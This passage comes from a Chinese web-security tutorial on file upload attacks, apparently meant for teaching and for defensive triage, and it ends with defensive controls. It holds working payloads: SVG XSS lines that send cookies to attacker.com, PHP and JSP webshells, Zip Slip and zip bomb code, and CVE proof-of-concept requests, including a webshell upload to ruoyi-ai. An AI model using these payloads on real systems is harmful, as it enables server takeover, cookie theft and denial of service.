■ 结合图片马
文件上传 + 文件包含的组合拳还常常用在图片马的利用过程中,通过文件包含来执行原本安全的图片文件 (例如,利用 LFI 包含上传的图片):
GET /view.php?page=uploads/2024/01/shell.jpg&cmd=id HTTP/1.1
■ 结合日志文件包含 (无文件落地)
当直接上传 PHP 被禁止时,可将 payload 写入日志文件,然后通过文件包含执行。
GET /view.php?page=uploads/image.jpg HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
通过文件包含访问日志文件
GET /index.php?page=/var/log/nginx/access.log&cmd=id
SVG XSS
SVG (Scalable Vector Graphics) 是基于 XML 的矢量图形格式,与 JPG/PNG 不同,JPG/PNG 是纯二进制图像数据,无法执行代码。而 SVG 是 XML,支持 <script> 标签和事件处理器,也就是原生支持脚本和交互性。当应用允许上传 SVG 文件并直接渲染时,嵌入的 JavaScript 会被执行。例如:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
■ 文件上传专用 Payload
完整文件头 (绕过 MIME 检测)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100" onload="alert('XSS')">
<rect width="100" height="100" fill="red"/>
</svg>
伪装图片 (Polyglot)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<!-- 假装是图片 -->
<image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="/>
</svg>
■ 常用 SVG XSS payload
<!-- onload 事件 (最常用) -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
<!-- 简写形式 (无空格、无引号) -->
<svg/onload=alert('XSS')>
<svg/onload=alert(1)>
<svg><script>alert(1)</script>
<svg onload=alert(String.fromCharCode(88,83,83))>
<!-- 事件处理器:鼠标悬停触发 -->
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" onmouseover="alert('XSS')"/>
</svg>
<!-- 事件处理器:鼠标点击触发 -->
<svg xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" onclick="alert('XSS')"/>
</svg>
<!-- 事件处理器:动画事件 -->
<svg xmlns="http://www.w3.org/2000/svg">
<animate attributeName="x" from="0" to="100" begin="0s" dur="1s" onend="alert('XSS')"/>
</svg>
<!-- Cookie 窃取 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)"></svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="document.body.innerHTML+='<img src=https://attacker.com/?c='+document.cookie+'>'"></svg>
■ 常用绕过手法
<!-- 编码绕过 -->
<svg onload="alert(1)"> <!-- HTML 实体编码 (十进制) -->
<svg onload="alert(1)"> <!-- HTML 实体编码 (十六进制) -->
<svg onload="%61%6c%65%72%74%28%31%29"> <!-- URL 编码 -->
<!-- 过滤器绕过 -->
<svg/onload=alert`XSS`> <!-- 反引号替代括号 (绕过圆括号过滤) -->
<SVG ONLOAD=ALERT('XSS')><sCrIpT>alert('XSS')</ScRiPt> <!-- 大小写混淆 -->
<svg><animate attributeName="href" values=" javascript:alert(1) " /></svg> <!-- 空格绕过 -->
<!-- 双写绕过 -->
<scr<script>ipt>alert('XSS')</scr<script>ipt>
<svg xmlns="http://www.w3.org/2000/svg"><svg onload="alert('XSS')"></svg></svg>
■ 高级结构 Payload。留个印象,研判时看得懂就行:
foreignObject 嵌入 HTML
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe srcdoc="<script>alert('XSS')</script>"/>
</body>
</foreignObject>
</svg>
use 标签 + xlink:href
<svg xmlns="http://www.w3.org/2000/svg">
<defs>
<svg id="x" xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
</defs>
<use xlink:href="#x"/>
</svg>
CDATA 节 (绕过标签过滤):
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[
alert(document.domain)
]]>
</script>
</svg>
压缩包嵌套/路径穿越
这是一种利用压缩文件格式特性绕过安全检测、实现路径穿越的高级攻击手法。由于文件被压缩之后会隐藏原本的特征 (文件头魔数、MIME 等),因此可以无效化针对可执行文件的上传校验。这种攻击手法的前提是:服务器在接收压缩文件后进行自解压,并且存在递归解压漏洞。
并且,一旦解压过程不对压缩包内的 ../ 路径序列进行安全处理,可能还会造成路径穿越。
■ 场景1:Zip Slip (路径穿越)
压缩包内文件名包含 ../ 序列,解压时写入非预期目录 (使用 bash 构造恶意 zip 文件):
# 创建包含路径穿越的压缩包
echo "malicious content" > ../../etc/cron.d/backdoor
zip malicious.zip ../../etc/cron.d/backdoor
或使用 python 构造:
import zipfile
with zipfile.ZipFile('malicious.zip', 'w') as zf:
# 写入带路径穿越的文件名
zf.writestr('../../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')
zf.writestr('../../../etc/passwd', 'root::0:0:root:/root:/bin/bash')
如果 Web 应用在 /var/www/html/uploads/ 解压,实际写入 /var/www/html/shell.php (穿越到上级目录),或覆盖 /etc/passwd 系统文件。
■ 场景2:Zip Bomb (解压炸弹)
原理是:通过极高压缩比的嵌套文件,耗尽服务器资源 (DoS)。42.zip 是一种比较经典的 Zip Bomb。通过创建 5 层递归嵌套的压缩包,每一层包含 16 个 zips 文件,也就是一共包含 165=1048576 个 zip 文件。这使得最终解压体积可达 4.5 PB。
通过 python 构造 Zip Bomb:
import zipfile
import io
def create_zip_bomb(layers=5, width=10):
"""创建递归Zip炸弹"""
content = b"0" * 1024 * 1024 # 1MB的0
# 最内层
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
for i in range(width):
zf.writestr(f'{i}.txt', content)
# 逐层嵌套
for layer in range(layers - 1):
buffer.seek(0)
data = buffer.read()
new_buffer = io.BytesIO()
with zipfile.ZipFile(new_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
for i in range(width):
zf.writestr(f'{i}.zip', data)
buffer = new_buffer
with open('zip_bomb.zip', 'wb') as f:
f.write(buffer.getvalue())
create_zip_bomb()
构造出来的压缩包体积大约为 10 MB。一旦服务器进行递归解压将造成磁盘资源耗尽,形成拒绝服务 (DoS)。
■ 场景3:扩展名欺骗 + 嵌套解压:绕过文件类型检查
# 将恶意文件放入多层压缩,绕过扩展名检查
echo "<?php eval($_POST['x']); ?>" > shell.php
zip -r layer1.zip shell.php
zip -r layer2.zip layer1.zip
gzip layer2.zip # 变成 layer2.zip.gz
上传 MIME 类型为 application/gzip 的 layer2.zip.gz 文件。上传后经过服务器递归解压,最终得到 shell.php。
解析漏洞/配置错误
■ Apache
xxx.php.jpg(配置不当,多后缀名):因开启多后缀支持,从右向左解析时,匹配到可执行后缀会直接执行shell.phtml -> .php(配置不当,遇到未知后缀回退):某些配置下会将未知的后缀匹配到最近的已知处理器xxx.php%0A(v2.4.0-2.4.29):换行符绕过。上传文件时,抓包修改文件名为xxx.php.%0A,结尾紧跟的换行符会导致.php文件直接执行CVE-2017-15715
.htaccess 覆盖漏洞(配置了AllowOverride All):攻击者上传一个恶意的.htaccess文件,可导致安全的后缀按照自定义的规则进行解析 (例如.jpg当作.php文件解析)
■ IIS
IIS (Internet Information Services) 解析漏洞主要集中在老旧版本 (6.0 和 7.0/7.5)
exp.asp/pzz.jpg(v5.X-v6.X):若存在名为xxx.asp的目录,则该目录下的所有文件都会被当作.asp文件解析exp.asp;.jpg(v5.X-v6.X):上传一个名为xxx.asp;.jpg的文件,会将被作为.asp文件解析.cer|.asa|.cdx -> .asp(v5.X-v6.X):所有以.cer、.asa以及.cdx为后缀名的文件都会被当作.asp文件执行xxx.jpg/xxx.php(v7-v7.5):上传xxx.jpg文件,然后通过 URL 构造对xxx.jpg/xxx.php的 访问,该文件会被当作 php 文件执行a.aspx.a;.a.aspx.jpg..jpg(v7.5):上传一个名为a.aspx.a;.a.aspx.jpg..jpg的文件,往往可以突破校验,最终转化为一个.asp文件解析
■ Nginx
Nginx 本身内核较安全,其解析漏洞绝大多数源于配置错误或与 PHP-FPM 的交互问题。
.jpg/index.php|.jpg?.php -> .php(Nginx+PHP-FPM):由于 Nginx 配置不当,导致恶意 URL 请求触发泛解析.php[空格][0x00].jpg(v0.8.41-1.4.3 / v1.5.0-1.5.7):对某些空白或非法字符的处理不当,导致提前截断文件路径
■ Tomcat
xxx.jsp/(v7.0.0-7.0.79, windows环境):在上传.jsp文件时,可以在后缀末尾添加/来绕过上传校验CVE-2017-12615
- 需要构造
AJP package(v6, v7<7.0.100, v8<8.5.51, v9<9.0.31):先上传一个文件 (可以是带有 payload 的.txt文件),再利用该漏洞构造本地文件包含 (LFI)CVE-2020-1938
PoC (CVE-2017-12615):
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
[shell-content]
PoC (CVE-2020-1938):〔Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938〕
■ PHP
PHP CGI 路径解析(CVE-2012-1823)很老的漏洞了,通过在请求中构造恶意的 querystring,可以控制 php-cgi 参数,进而导致命令执行。这里有篇文章详细介绍了这个漏洞:〔PHP-CGI远程代码执行漏洞 (CVE-2012-1823) 分析, Phithon〕
PoC:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
这个漏洞被爆出来以后,PHP 官方对其进行了修补,发布了新版本 5.4.2 及 5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出 CVE-2012-2311 漏洞。
云存储/OSS 配置错误利用
现代应用普遍采用对象存储服务(AWS S3、阿里云 OSS、腾讯云 COS 等)处理文件上传,其架构模式主要分为两类:
服务端代理模式:文件先上传至应用服务器,再由服务端转存至 OSS。此模式下,若应用未校验 OSS 响应或存在路径拼接漏洞,攻击者可通过 ../ 序列实现存储桶内目录穿越,覆盖同 Bucket 下的其他对象。若服务端使用的 AccessKey 具备过度权限(如 oss:*),密钥泄露将导致整桶数据暴露。
客户端直传模式:后端生成预签名 URL,浏览器直接上传至 OSS。若签名 URL 未限制 HTTP 方法、未绑定具体路径或过期时间过长,攻击者可利用该 URL 向任意对象路径写入数据。部分应用开放的 OSS 事件回调接口若未验证请求来源,攻击者伪造回调消息可触发 SSRF 或 RCE。
■ Bucket 劫持
业务域名弃用后,若 DNS 解析记录未清理,攻击者可注册同名 Bucket 接管该域名。用户访问原域名上传/下载文件时,数据实际流向攻击者控制的存储桶,形成中间人攻击。此漏洞常与子域名接管组合利用,用于供应链攻击或钓鱼页面托管。
■ 容器与 Serverless 环境
Kubernetes 集群中,若业务容器以特权模式运行或挂载宿主机根目录,攻击者上传特制容器镜像 tar 包或修改节点静态 Pod 清单,可实现容器逃逸至宿主机。
云函数(Lambda/FC)支持 OSS 触发器执行代码,若函数代码存在不安全文件处理逻辑,上传恶意文件可直接触发函数执行,实现无服务器环境下的权限提升。
通过其他漏洞触发文件上传
文件上传攻击的本质是向服务器写入可控文件。只要存在其他能写入文件的高危漏洞 (SQL注入、RCE、反序列化等),即使没有专门的上传点,也能达到类似效果。渗透测试时建议扩大攻击面,关注所有可能的文件写入途径,而非仅盯着上传按钮。
■ SQL 注入
有些 SQL 注入点可以写入文件。例如通过 MySQL 写 shell (需 secure_file_priv 允许)。
SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php';
■ 反序列化漏洞
例如利用 phar:// 伪协议触发反序列化,又或者通过 file_put_contents 等回调写文件。
■ XXE 漏洞
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- 部分 XXE 可结合 jar 协议写临时文件 -->
■ 命令执行/代码执行
通过命令执行/代码执行触发文件上传。例如:
echo '<?php eval($_POST[1]);?>' > shell.php
■ SSRF + 内网服务
例如,攻击内网Redis:
CONFIG SET dir /var/www/html
攻击 FastCGI/PHP-FPM 写文件
典型文件上传漏洞示例
aGeerle ruoyi-ai sseserviceimpl.java 存在任意文件上传
组件名称: ageerle ruoyi-ai
影响版本: 2.0.0
隐患路径: ruoyi-modules/ruoyi-system/src/main/java/org/ruoyi/system/service/impl/SseServiceImpl.java
speechToTextTranscriptionsV2/upload 功能
处置建议: 升级组件到 2.0.1 版本
在 ageerle ruoyi-ai 2.0.0 版本中,文件 ruoyi-modules/ruoyi-system/src/main/java/org/ruoyi/system/service/impl/SseServiceImpl.java 中的speechToTextTranscriptionsV2/upload 功能。参数 File 的操作存在未授权上传的问题。攻击可远程发起。
■ 隐患分析:
隐患代码如下:
//ruoyi-modules\ruoyi-fusion\src\main\java\org\ruoyi\fusion\controller\ChatController.java
/**
* 语音转文本
* @param file
*/
@PostMapping("/audio")
@ResponseBody
public WhisperResponse audio(@RequestParam("file") MultipartFile file) {
WhisperResponse whisperResponse = ISseService.speechToTextTranscriptionsV2(file);
return whisperResponse;
}
//ruoyi-modules\ruoyi-system\src\main\java\org\ruoyi\system\service\impl\SseServiceImpl.java
/**
* 语音转文字
*/
@Override
public WhisperResponse speechToTextTranscriptionsV2(MultipartFile file) {
// 确保文件不为空
if (file.isEmpty()) {
throw new IllegalStateException("Cannot convert an empty MultipartFile");
}
// 创建一个文件对象
File fileA = new File(System.getProperty("java.io.tmpdir") + File.separator + file.getOriginalFilename());
try {
// 将 MultipartFile 的内容写入文件
file.transferTo(fileA);
} catch (IOException e) {
throw new RuntimeException("Failed to convert MultipartFile to File", e);
}
return openAiStreamClient.speechToTextTranscriptions(fileA);
}
可以看到,外部 API 入口 /audio 接收到用户上传的 MultipartFile,直接传递给 ISseService.speechToTextTranscriptionsV2 函数进行处理。
@PostMapping("/audio")
@ResponseBody
public WhisperResponse audio(@RequestParam("file") MultipartFile file) {
WhisperResponse whisperResponse = ISseService.speechToTextTranscriptionsV2(file);
同时,speechToTextTranscriptionsV2 函数直接引用用户可控的文件名和后缀作为保存在服务器上的最终文件路径和名称,无需任何安全检查,从而形成了典型的文件上传漏洞。
@Override
public WhisperResponse speechToTextTranscriptionsV2(MultipartFile file) {
// 省略非关键代码 (非空判断、异常处理)
// 创建一个文件对象 (无任何安全检查)
File fileA = new File(
System.getProperty("java.io.tmpdir") // 获取系统临时目录
+ File.separator // 系统路径分隔符(/ 或 \)
+ file.getOriginalFilename() // 获取上传文件的原始文件名
);
// 将 MultipartFile 的内容写入文件
file.transferTo(fileA);
return openAiStreamClient.speechToTextTranscriptions(fileA);
}
攻击者可以利用此漏洞将恶意木马文件上传到受害者的服务器,从而控制服务器或覆盖服务器上的任何文件,从而对目标服务器造成严重影响。
■ PoC:
POST /chat/audio HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Content-Length: 628
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="file"; filename="../../shell.jsp"
Content-Type: application/octet-stream
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
------WebKitFormBoundary7MA4YWxk--
■ 漏洞相关链接:
- https://github.com/ageerle/ruoyi-ai/commit/4e93ac86d4891c59ecfcd27c051de9b3c5379315
- https://github.com/ageerle/ruoyi-ai/issues/9
- https://github.com/ageerle/ruoyi-ai/issues/9#event-16775988438
后上传攻击
在文件上传攻击中,上传只是手段,控制才是目的。攻击者通过向服务器写入可执行、可控制文件,来突破应用层边界,获取原本没有的权力。总的来说,文件上传攻击的关键点有三个:持久化、执行、控制。持久化在上文已经有了足够多的说明,下面着重于执行和控制的部分。
对于权限划分合理的服务器,上传后的文件往往位于非 Web 可访问目录,且改目录不具备执行权限。再加上被上传的文件通常会被重命名为随机字符串,进一步加大了被攻击者访问进而利用的可能性。
■ 直接利用 (GetShell)
文件上传最直接的目的就是获取命令执行能力。当上传的恶意文件被 Web 服务器解析时,攻击者即可获得 WebShell,通过浏览器或工具执行任意系统命令。常见的实现方式包括上传 .php、.jsp 或 .asp 脚本,利用 Web 服务器的脚本解析功能直接执行代码。
在某些情况下,即使上传的是图片格式文件,配合文件包含漏洞也能达到代码执行的效果,例如通过 include 函数将图片马作为脚本解析执行。此外,若能上传 .htaccess 配置文件,可以修改目录的解析规则,将原本安全的图片文件类型强制解析为脚本执行。还有一种利用条件竞争的方式,针对那些上传后会立即删除或重命名文件的防护机制,利用时间窗口快速访问文件实现利用。
■ 权限提升
获得初始的 Web 权限后,攻击者通常会尝试提升权限以获取更高的系统控制能力。常见的提权手段包括上传本地提权漏洞利用程序,针对 Linux 系统的内核漏洞如 DirtyCow、PwnKit 等进行提权,或针对 Windows 系统的各类补丁缺失漏洞。另一种思路是查找系统中存在的 SUID 特权程序,上传针对性的利用程序或替换二进制文件实现权限跃升。
为了维持长期访问,攻击者可能会写入计划任务配置或系统服务文件,通过定时反弹 shell 或启动恶意服务实现持久化控制。此外,上传 SSH 公钥到目标用户的 authorized_keys 文件中,可以直接获取 SSH 登录权限,绕过 Web 层面的限制。
■ 横向移动
在单台服务器获得控制权后,攻击者往往会以此为跳板向内网其他主机扩展。常见的行为枚举如下:
- 上传内网扫描工具如 fscan、nmap 等,探测存活主机和开放端口,绘制内网拓扑;
- 尝试抓取系统凭证,上传 mimikatz、LaZagne 等工具获取明文密码或哈希值,为后续登录其他主机做准备;
- 为了打通内网通道,通常会建立代理隧道,上传 frp、nps、ew 等工具将内网流量转发出来,或上传 reGeorg 等脚本实现 SOCKS 代理;
- 在域环境中上传 impacket 等工具包进行 Active Directory 攻击,寻找域管权限的突破口。
■ 数据窃取与破坏
控制服务器后,攻击者可能实施数据窃取或破坏性操作。针对数据库,会上传 sqlmap 或自定义脚本进行拖库操作,导出敏感数据。对于文件系统,会使用压缩工具将重要目录打包后下载传输。在勒索攻击场景中,会上传加密脚本遍历服务器文件进行加密锁定。为了掩盖攻击痕迹,还会上传专门的日志清理工具,删除或篡改系统日志、Web 日志、登录记录等审计信息。
■ 供应链与持久化
高级攻击者会寻求更隐蔽的持久化方式。一种手法是植入系统后门,替换常用的系统命令如 ps、netstat、ss 等,或篡改 Web 框架的核心文件,使后门在正常运行时难以察觉。另一种更隐蔽的技术是植入内存马,通过注入 Java Filter、Servlet 或 PHP 扩展等方式,实现无文件落地的 WebShell,绕过基于文件的检测机制。在容器化环境中,会尝试上传恶意镜像或利用 cgroups、特权容器等配置缺陷实现 Docker 逃逸。针对 Kubernetes 集群,会上传 kubectl 工具利用 RBAC 配置不当获取集群控制权,进一步扩大影响范围。
完整攻击链
整个利用过程呈现出清晰的递进关系:首先通过上传 WebShell 建立初始据点,接着进行系统信息收集和权限提升,然后建立网络隧道实现内网横向移动,最终可能获取域控权限或核心数据,并在过程中持续清理痕迹以延长控制时间。上传只是攻击的起点,真正的价值在于以此为跳板不断扩大战果,实现从单点突破到全面控制的转变。
+-------------------+ +-------------------+ +-------------------+
| Upload WebShell | | Information | | Privilege |
| | ----> | Gathering | ----> | Escalation |
| (1) | | (2) | | to root (3) |
+-------------------+ +-------------------+ +-------------------+
| |
V V
+-------------------+ +-------------------+ +-------------------+
| Internal Scanning | | Establish Tunnel | | Lateral Movement |
| | <---- | | <---- | |
| (6) | | (5) | | (4) |
+-------------------+ +-------------------+ +-------------------+
|
V
+-------------------+ +-------------------+ +-------------------+
| Domain Controller | | Data Exfiltration | | Clear Tracks |
| Access | ----> | | ----> | |
| (7) | | (8) | | (9) |
+-------------------+ +-------------------+ +-------------------+
- 上传 WebShell:攻击者首先需要通过某种方式在目标服务器上植入恶意脚本,从而获得初始的远程访问能力
(Upload WebShell)
- 信息收集:在获得初始访问权限后,攻击者不会立即展开大规模行动,而是先进行隐蔽的信息收集,全面了解当前所处的环境;这些信息将帮助攻击者评估当前权限水平、发现潜在的提权路径,并为后续的内网渗透制定策略。
(Information Gathering)
- 提权至 root:信息收集完成后,攻击者的目标是将当前有限的权限提升至系统最高权限。
(Privilege Escalation)
- 横向移动:控制单台服务器通常不是最终目标,攻击者会利用这台机器作为跳板,向内网其他机器扩展;横向移动的核心是获取其他主机的访问凭证或利用信任关系,逐步扩大控制范围。
(Lateral Movement)
- 建立隧道:随着深入内网,攻击者控制的机器可能处于不同的网络区域,直接通信会受到防火墙和访问控制的限制;为了维持与所有受控主机的稳定连接,并建立一条从外部网络穿透到内网深处的隐蔽通道,攻击者需要建立网络隧道。
(Establish Tunnel)
- 内网扫描:通过隧道进入内网后,攻击者会对目标网络进行全面的侦察扫描;不同于外网扫描的粗放方式,内网扫描更加精细和隐蔽,目的是绘制完整的网络拓扑图,发现高价值目标;这一阶段的结果将直接决定后续攻击的重点方向。
(Internal Scanning)
- 域控权限:在企业内网环境中,域控制器是权限管理的核心,拥有域管理员权限等同于控制整个内网的所有机器;一旦成功,攻击者可以任意访问域内任何资源,创建新的域管理员账户,为长期潜伏创造条件。
(Domain Controller Access)
- 窃取数据:获得最高权限后,攻击者开始执行最终目的——窃取核心数据资产;这一阶段是攻击者收获商业利益或达成政治目的的关键。
(Data Exfiltration)
- 清理痕迹:完成数据窃取后,攻击者需要消除所有入侵证据,防止被安全团队追溯和定位,同时保留后续重新进入的隐蔽后门;彻底的痕迹清理使得事后取证变得极为困难,攻击者可以长期潜伏等待下一次行动机会。
(Clear Tracks)
防御视角下阻断点建议:
(1) ----> 文件上传白名单 + 内容检测 + 沙箱
(2)(3) -> 主机加固、最小权限、EDR 监控
(4)(5) -> 微隔离、零信任、异常流量检测
(6)(7) -> 域控加固、AD 审计、蜜罐诱捕
(8) ----> DLP 数据防泄漏、外联监控
(9) ----> 日志集中存储 (WORM)、不可篡改审计
参考文档
- [1] [github]upload-labs, c0ny1, https://github.com/c0ny1/upload-labs
- [2] [RFC 7578]Returning Values from Forms: multipart/form-data, Internet Engineering Task Force (IETF), https://datatracker.ietf.org/doc/html/rfc7578
- [3] 文件上传, 狼组安全团队公开知识库, https://wiki.wgpsec.org/knowledge/ctf/uploadfile.html
- [4] 超详细文件上传漏洞总结分析, 网络安全自修室, https://cloud.tencent.com/developer/article/1938541
- [5] 文件上传, Web 安全学习笔记, https://websec.readthedocs.io/zh/latest/vuln/fileupload.html
- [6] RuoYi-AI框架曝任意文件上传漏洞(CVE-2025-6466), 狼目安全, https://lmboke.com/archives/ruoyi-aikuang-jia-pu-ren-yi-wen-jian-shang-chuan-lou-dong-cve-2025-6466-ke-dao-zhi-fu-wu-qi-lun-xian